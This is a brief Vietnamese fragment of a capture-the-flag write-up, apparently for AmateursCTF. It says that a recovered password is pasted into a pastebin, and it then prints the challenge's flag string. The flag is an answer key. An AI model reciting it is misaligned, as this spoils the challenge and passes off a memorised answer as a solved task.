![](https://hackmd.io/_uploads/BylW1ZBI9h.png) Ta được pass sau đó vào pastebin nhập vào sẽ được flag. #### `flag:amateursCTF{programs have issues, as do weak passwords}`